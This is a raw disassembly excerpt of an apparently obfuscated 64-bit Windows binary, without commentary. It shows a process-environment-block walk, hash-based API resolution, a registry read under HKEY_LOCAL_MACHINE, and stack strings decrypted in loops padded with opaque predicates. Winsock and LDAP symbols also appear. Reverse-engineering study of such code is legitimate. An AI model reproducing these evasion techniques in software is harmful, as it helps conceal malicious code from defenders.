xor eax, esi
imul esi, eax, 0x1000193
add r10, r12
mov al, byte [r10]
test al, al
jne 0x140113d49
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140113c46
mov qword [0x1404fc110], r10
mov r15, qword [rsp + 0x58]
lea rax, [0x1404fba68]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, r15
mov rcx, 0xffffffff80000002
call r10
test eax, eax
jne 0x14011708f
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1280]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x2c0], 0x45
mov byte [rbp + 0x2c1], 0x75
mov byte [rbp + 0x2c2], WSASetLastError
mov byte [rbp + 0x2c3], 0x66
mov byte [rbp + 0x2c4], 0x76
mov byte [rbp + 0x2c5], 0x64
mov byte [rbp + 0x2c6], Ordinal_46
mov byte [rbp + 0x2c7], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x2c8], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x2c9], 0x7d
mov byte [rbp + 0x2ca], 0xa
xor eax, eax
mov qword [rbp + 0x2cb], rax
mov word [rbp + 0x2d3], ax
mov byte [rbp + 0x2d5], al
movabs rsi, 0x3d8c105214cd0d80
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
mov r11d, 0x80
xor r9d, r9d
cmp r9, 0x16
jae 0x1401148ae
movzx r8d, byte [rbp + r9 + 0x2c0]
mov rdx, r8
cmp rbx, r9
ja 0x1401148a5
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140113e8d
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
jmp 0x14011412d
je 0x140114826
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401147d6
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401147ab
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140114788
cmp r10, r9
ja 0x14011489c
lea rax, [r10 + 0x28]
cmp rbx, rax
jae 0x140113eee
movabs rdx, 0xc7d56bbb4d21b80
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
jmp 0x14011410b
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140114739
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140114719
lea rax, [r10 + 7]
cmp rbx, rax
je 0x1401146c7
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1401146a5
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140114696
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x1401143a9
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140114387
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x140114368
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x140114348
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x140114329
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x14011430a
lea rax, [r10 + 0x41]
cmp rbx, rax
je 0x1401142eb
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x1401142dc
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401142bd
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x14011429d
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140113f3c
lea rbx, [r10 + 0x20]
lea r10, [rbx + 0x2a]
lea rax, [r10 + 5]
cmp rbx, rax
jb 0x14011487a
lea rax, [r10 + 0x64]
cmp rbx, rax
jb 0x140114858
lea rax, [r10 + 0xa]
cmp rbx, rax
jb 0x140114135
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x140114113
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x1401140f1
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x14011427e
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x14011425f
lea rax, [r10 + 2]
cmp rbx, rax
jb 0x140114219
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x1401141ef
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x140113f3c
lea rbx, [r10 + 0x20]
lea r10, [rbx + 0x2a]
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x1401141e0
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x1401141d1
lea rax, [r10 + 0xa]
cmp rbx, rax
ja 0x1401141c2
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x1401141b3
lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x1401141a4
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x140114195
lea rax, [r10 + 0x200]
cmp rbx, rax
ja 0x140114186
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x140114166
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x140114157
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x140113f3c
lea rbx, [r10 + 0x20]
lea r10, [rbx + 0x2a]
jmp 0x140113f3c
movabs rcx, 0x6b0cdc914b565480
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r11b
jmp 0x140113f2f
movabs rcx, 0xeff4bbed21bc3980
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r11b
jmp 0x140113eba
movabs rcx, 0x74dc9b48f8221e80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r11b
jmp 0x140113e5f
movabs rdx, 0x63eab5dda690dc00
jmp 0x140114391
movabs rcx, 0xe8d295397cf6c100
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
jmp 0x14011477d
movabs rcx, 0x6dba7495535ca600
jmp 0x140114352
movabs rcx, 0xf2a253f129c28b00
jmp 0x140114333
movabs rcx, 0x778a334d00287000
jmp 0x140114314
movabs rcx, 0xfc7212a8d68e5500
jmp 0x1401142f5
movabs rcx, 0x8159f204acf43a00
jmp 0x14011447c
movabs rcx, 0x641d160835a1f00
jmp 0x1401142c7
movabs rcx, 0x8b29b0bc59c00400
jmp 0x1401142a7
movabs rcx, 0x576d5f21f1bec080
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r11b
mov byte [rbp + r9 + 0x2c0], dil
jmp 0x140114850
movabs rcx, 0xdc553e7dc824a580
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r11b
cmp r10, 0x7a
jb 0x14011420c
movabs rdx, 0x85ce80b449b36100
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140114759
movabs rcx, 0x613d1dd99e8a8a80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x140114405
movabs rcx, 0xe624fd3574f06f80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x1401143ca
movabs rcx, 0x4af008663ceca500
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
jmp 0x140114841
movabs rcx, 0xcfd7e7c213528a00
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x1401147f6
movabs rcx, 0x54bfc71de9b86f00
jmp 0x14011447c
movabs rcx, 0xd9a7a679c01e5400
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x1401147c6
movabs rcx, 0x5e8f85d596843900
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x1401147a6
movabs rcx, 0xe37765316cea1e00
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x140114643
movabs rcx, 0x685f448d43500300
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
jmp 0x140114780
movabs rcx, 0xed4723e919b5e800
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x14011477d
movabs rdx, 0x722f0344f01bcd00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov dil, r8b
sub dil, cl
add dil, dl
jmp 0x140114759
lea rax, [r10 + 8]
cmp rbx, rax
jae 0x140114441
lea rdx, [r9 + rsi]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
add dil, r11b
lea rax, [r10 + rbx]
cmp rax, 0x7a
je 0x14011466f
lea rcx, [r10 + 2]
cmp rbx, rcx
jbe 0x14011450e
movabs rdx, 0xaa5fe38ef4dc3780
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
add dil, r11b
cmp rbx, 0x7a
jae 0x14011461e
lea rcx, [r10 + 2]
cmp rbx, rcx
jbe 0x1401145a6
movabs rdx, 0xb6dd3a4aa9ae5300
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov dil, r8b
sub dil, cl
add dil, dl
jmp 0x140114236
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140114469
movabs rcx, 0x18faad7769a43700
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x140114841
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140114491
movabs rcx, 0xf2aeebfbcd86d00
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x1401146e4
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401144ba
movabs rcx, 0x55b3008100ca300
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
jmp 0x1401147a6
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1401144e2
movabs rcx, 0xfb8b71506340d900
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x140114780
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401143cd
movabs rcx, 0xf1bbb298b6750f00
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x140114759
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140114526
movabs rdx, 0x257804331e765280
jmp 0x140114743
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14011453e
movabs rcx, 0x1ba8457b71aa8880
jmp 0x140114723
cmp rbx, rcx
jne 0x140114562
movabs rcx, 0x11d886c3c4debe80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x1401147a3
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14011457a
movabs rcx, 0x808c80c1812f480
jmp 0x1401146d1
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140114408
movabs rcx, 0xfe3909546b472a80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x14011483e
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401145be
movabs rcx, 0x31f55aeed3486e00
jmp 0x1401142a7
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401145d6
movabs rcx, 0x28259c37267ca400
jmp 0x14011447c
cmp rbx, rcx
jne 0x1401145ea
movabs rcx, 0x1e55dd7f79b0da00
jmp 0x140114314
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140114602
movabs rcx, 0x14861ec7cce51000
jmp 0x140114352
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140114236
movabs rcx, 0xab6601020194600
jmp 0x1401144f9
movabs rdx, 0xe6a158734d7c00
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r9 + 0x2c0]
sub dil, al
add dil, dl
add dil, r8b
movabs rcx, 0x3e72b1aa881a8980
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, dil
add cl, r8b
add cl, r11b
mov byte [rbp + r9 + 0x2c0], cl
jmp 0x1401147a6
movabs rdx, 0x7bfec1fc9ce79700
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, byte [rbp + r9 + 0x2c0]
add dil, dl
jmp 0x1401146e4
movabs rcx, 0x60567c812b3d0e80
jmp 0x140114591
movabs rdx, 0xe53e5bdd01a2f380
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
jmp 0x1401147f3
movabs rcx, 0x6a263b38d808d880
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r11b
movabs rcx, 0xb98ad24eb1b4a480
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
add cl, r11b
movzx eax, cl
mov byte [rbp + r9 + 0x2c0], al
add r10, r12
add rax, r10
sub r9, rax
jmp 0x1401147f6
movabs rcx, 0x7dc5b8a831a06c80
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, r11b
jmp 0x140114780
movabs rdx, 0x8795775fde6c3680
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
add dil, r11b
movabs rcx, 0xc35a91065e806e80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
add cl, r11b
mov byte [rbp + r9 + 0x2c0], cl
add r10, r12
sub r9, r12
jmp 0x140114850
movabs rcx, 0xa504b386e4cf9480
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, r11b
add rbx, r10
jmp 0x1401147c6
movabs rcx, 0x29ec92e2bb357980
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, r11b
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140114850
mov r8, rdx
movabs rcx, 0x33bc519a68014380
add rcx, r9
and dl, cl
add dl, dl
mov dil, r8b
sub dil, dl
add dil, cl
add dil, r11b
movabs rcx, 0xf716e2a0c681b200
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
mov byte [rbp + r9 + 0x2c0], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140114841
movabs rcx, 0xb8a430f63e672880
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, r11b
movzx eax, byte [rbp + r9 + 0x2c0]
add rax, r10
add r9, rax
add r9, r12
jmp 0x140113e4c
movabs rcx, 0xf9c47aa4ce880380
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r11b
jmp 0x140113e49
movabs rcx, 0x7eac5a00a4ede880
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r11b
jmp 0x140113e33
lea rdx, [rbp + 0x14514c0]
jmp 0x1401148b5
lea rdx, [rbp + 0x1122240]
jmp 0x1401148b5
lea rdx, [rbp + 0x2c0]
mov dword [rsp + 0x20], r12d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x1280]
call fcn.140089ca0
nop
cmp qword [rbp + 0x1308], 0
je 0x140117083
mov byte [rbp + 0xdb0], Ordinal_217
mov byte [rbp + 0xdb1], Ordinal_41
mov byte [rbp + 0xdb2], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0xdb3], Ordinal_60
mov byte [rbp + 0xdb4], 0x56
mov byte [rbp + 0xdb5], 0x44
mov byte [rbp + 0xdb6], 0x86
mov byte [rbp + 0xdb7], 0xb7
mov byte [rbp + 0xdb8], 0x52
mov byte [rbp + 0xdb9], 0x56
mov byte [rbp + 0xdba], 0x5e
mov byte [rbp + 0xdbb], Ordinal_79
mov byte [rbp + 0xdbc], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xdbd], 0x51
mov byte [rbp + 0xdbe], 0x47
mov r14b, 0x58
mov byte [rbp + 0xdbf], r14b
mov byte [rbp + 0xdc0], 0x5e
mov byte [rbp + 0xdc1], Ordinal_143
mov byte [rbp + 0xdc2], 0xb1
mov byte [rbp + 0xdc3], Ordinal_143
mov byte [rbp + 0xdc4], 0xa4
mov byte [rbp + 0xdc5], 0x47
mov byte [rbp + 0xdc6], 0x5b
mov byte [rbp + 0xdc7], Ordinal_79
mov byte [rbp + 0xdc8], 0x59
mov byte [rbp + 0xdc9], 0x46
mov byte [rbp + 0xdca], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xdcb], 0x40
mov byte [rbp + 0xdcc], 0x9c
mov byte [rbp + 0xdcd], 0xb4
mov r15b, 0x48
mov byte [rbp + 0xdce], r15b
mov byte [rbp + 0xdcf], 0x43
mov byte [rbp + 0xdd0], 0x55
mov byte [rbp + 0xdd1], 0x56
mov byte [rbp + 0xdd2], 0x57
mov byte [rbp + 0xdd3], Ordinal_79
mov byte [rbp + 0xdd4], 0x78
mov byte [rbp + 0xdd5], 0x7c
mov byte [rbp + 0xdd6], 0xa6
mov byte [rbp + 0xdd7], 0x99
mov byte [rbp + 0xdd8], WSAGetLastError
mov byte [rbp + 0xdd9], 0x76
mov byte [rbp + 0xdda], 0x76
mov byte [rbp + 0xddb], 0x62
mov byte [rbp + 0xddc], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0xddd], 0x64
mov byte [rbp + 0xdde], 0x79
mov byte [rbp + 0xddf], 0x79
mov byte [rbp + 0xde0], 0xa8
mov byte [rbp + 0xde1], 0x85
mov byte [rbp + 0xde2], 0x67
mov byte [rbp + 0xde3], 0x77
mov byte [rbp + 0xde4], 0x79
mov byte [rbp + 0xde5], 0x76
mov byte [rbp + 0xde6], WSASetLastError
mov byte [rbp + 0xde7], 0x7a
mov byte [rbp + 0xde8], 0x7c
mov byte [rbp + 0xde9], 0xb1
mov byte [rbp + 0xdea], 0x77
mov byte [rbp + 0xdeb], 0xb3
mov byte [rbp + 0xdec], 0xa9
mov byte [rbp + 0xded], 0xbd
mov byte [rbp + 0xdee], 0x85
mov byte [rbp + 0xdef], 0xbf
mov byte [rbp + 0xdf0], Ordinal_143
mov byte [rbp + 0xdf1], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0xdf2], WSAGetLastError
mov byte [rbp + 0xdf3], 0x68
mov byte [rbp + 0xdf4], 0x85
mov byte [rbp + 0xdf5], Ordinal_143
mov byte [rbp + 0xdf6], Ordinal_143
mov byte [rbp + 0xdf7], 0x47
mov byte [rbp + 0xdf8], 0x56
mov byte [rbp + 0xdf9], __WSAFDIsSet
mov byte [rbp + 0xdfa], 0x9d
mov byte [rbp + 0xdfb], 0x82
mov byte [rbp + 0xdfc], Ordinal_143
mov byte [rbp + 0xdfd], 0x9f
mov byte [rbp + 0xdfe], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xdff], 0x59
mov byte [rbp + 0xe00], r15b
mov byte [rbp + 0xe01], 0x75
mov byte [rbp + 0xe02], 0x9d
mov byte [rbp + 0xe03], Ordinal_79
mov byte [rbp + 0xe04], 0x64
mov byte [rbp + 0xe05], 0x88
mov byte [rbp + 0xe06], 0x84
mov byte [rbp + 0xe07], __WSAFDIsSet
mov byte [rbp + 0xe08], 0x98
mov byte [rbp + 0xe09], 0x90
mov byte [rbp + 0xe0a], 0x81
mov byte [rbp + 0xe0b], 0x9e
mov byte [rbp + 0xe0c], 0x5c
mov byte [rbp + 0xe0d], 0x98
mov byte [rbp + 0xe0e], 0x3e
xor eax, eax
mov qword [rbp + 0xe0f], rax
movabs rsi, 0xf583d35dbda0603c
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x67
jae 0x140115777
movzx r8d, byte [rbp + r9 + 0xdb0]
mov r11, r8
cmp rbx, r9
ja 0x14011576e
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140114beb
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
add dil, 0x5c
jmp 0x140114c25
je 0x1401156e2
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140115658
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140115623
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1401155d7
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401155aa
cmp r10, r9
ja 0x140115765
lea rax, [r10 + 0x7a]
cmp rbx, rax
jae 0x140114c5a
movabs rdx, 0x23d056b08e27e4ec
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x74
add dil, dl
jmp 0x140114c9b
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14011555e
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14011553e
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14011552a
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140115503
lea rax, [r10 + 7]
cmp rbx, rax
je 0x1401154e3
mov r11d, recv
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x1401151f4
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x1401151d1
lea rax, [r10 + 0x1000]
cmp rbx, rax
je 0x1401151bd
lea rax, [r10 + 0x3e8]
cmp rbx, rax
je 0x14011519a
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x140115177
lea rax, [r10 + 0x42]
cmp rbx, rax
je 0x140115163
lea rax, [r10 + 0x28]
cmp rbx, rax
je 0x14011513c
lea rax, [r10 + 0x10]
cmp rbx, rax
je 0x140115119
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x1401150f6
lea rbx, [r10 + 0x400]
lea r10, [rbx + 0x3e8]
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x14011573e
lea rax, [r10 + 0x64]
cmp rbx, rax
jb 0x14011571b
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x140114e8e
lea rax, [r10 + 0x20]
cmp rbx, rax
jb 0x140114e67
lea rax, [r10 + 0xa]
cmp rbx, rax
jb 0x140114e42
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x1401150d3
lea rax, [r10 + 5]
cmp rbx, rax
jb 0x140115073
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x140115023
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x140114ff8
lea rbx, [r10 + 0x42]
lea r10, [rbx + 0x40]
lea rax, [r10 + 0x28]
cmp rbx, rax
ja 0x140114fd4
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x140114fad
lea rax, [r10 + 9]
cmp rbx, rax
ja 0x140114f8c
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x140114f69
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x140114f45
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x140114f21
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x140114efe
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x140114edb
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x140114eb4
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x140114cae
lea rbx, [r10 + 0x3e8]
lea r10, [rbx + 9]
jmp 0x140114cae
movabs rdx, 0x4e93c3e5f6144094
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r11b
jmp 0x140114ca1
movabs rdx, 0x638c1d2a7ad3801c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140114c25
movabs rdx, 0x7884766eff92bfa4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7c
add dil, dl
jmp 0x140114bbc
movabs rdx, 0x1e82b584713f2760
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140115580
movabs rcx, 0x337b0ec8f5fe66e8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, r14b
jmp 0x1401155cc
movabs rcx, 0x4873680d7abda670
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x1401155cf
movabs rdx, 0x5d6bc151ff7ce5f8
mov ecx, Ordinal_32
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x1401155f5
movabs rcx, 0x72641a96843c2580
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x80
jmp 0x140115642
movabs rcx, 0x875c73db08fb6508
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x140115645
movabs rdx, 0x9c54cd1f8dbaa490
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
jmp 0x1401154d8
movabs rdx, 0xb14d26641279e418
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401156ad
movabs rcx, 0xc6457fa8973923a0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x60
jmp 0x140115704
movabs rcx, 0xfab25ed3e3174274
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2c
mov byte [rbp + r9 + 0xdb0], dil
jmp 0x140115713
movabs rdx, 0xfaab81867d681fc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r10, 5
jb 0x140115016
movabs rcx, 0xd28637598de657e8
add rcx, r9
mov al, cl
and al, r8b
mov edx, reloc.WS2_32.dll_sendto
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x140115580
movabs rdx, 0x24a3115cec95c184
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 0x10
jae 0x140115487
lea rax, [r10 + 0xa]
cmp rbx, rax
jbe 0x1401153df
movabs rdx, 0xa439b406bd5ed338
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140115045
movabs rdx, 0x399b6aa17155010c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x54
jmp 0x140115216
movabs rcx, 0xebda6167d9ae9d10
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x1401156ad
movabs rcx, 0xd2baac5e6ddc98
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x28
jmp 0x140115679
movabs rdx, 0x15cb13f0e32d1c20
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140115645
movabs rdx, 0x2ac36d3567ec5ba8
mov ecx, 0x34
jmp 0x140115512
movabs rdx, 0x3fbbc679ecab9b30
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x50
jmp 0x1401155f5
movabs rcx, 0x54b41fbe716adab8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x1401155cf
movabs rdx, 0x69ac7902f62a1a40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401155b9
movabs rdx, 0x7ea4d2477ae959c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x78
jmp 0x14011557d
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jae 0x140115257
lea rdx, [r9 + rsi]
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 0x64
je 0x1401154b6
lea rax, [r10 + 0x42]
cmp rbx, rax
jbe 0x140115356
movabs rcx, 0x80695d562f36ee4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x14
jmp 0x140115095
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140115285
movabs rdx, 0x47a0ad611c4fc9d8
mov ecx, r11d
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140115704
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401152b1
movabs rdx, 0x1daffad812d14ac8
add rdx, r9
